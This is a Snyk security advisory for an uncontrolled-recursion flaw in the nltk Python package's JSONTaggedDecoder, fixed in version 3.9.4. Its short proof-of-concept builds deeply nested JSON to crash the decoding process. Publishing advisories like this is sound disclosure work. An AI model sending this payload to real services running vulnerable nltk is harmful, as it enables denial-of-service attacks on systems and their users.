Uncontrolled Recursion Affecting nltk package, versions [0,3.9.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-NLTK-15692479
  • published19 Mar 2026
  • disclosed18 Mar 2026
  • creditZeroXJacks

Introduced: 18 Mar 2026

CVE NOT AVAILABLE CWE-674  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.9.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Uncontrolled Recursion via the JSONTaggedDecoder.decode_obj() function in jsontags.py. An attacker can cause the application to crash by submitting a deeply nested JSON structure that exceeds the recursion limit, resulting in an unhandled exception.

PoC

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

CVSS Base Scores

version 4.0
version 3.1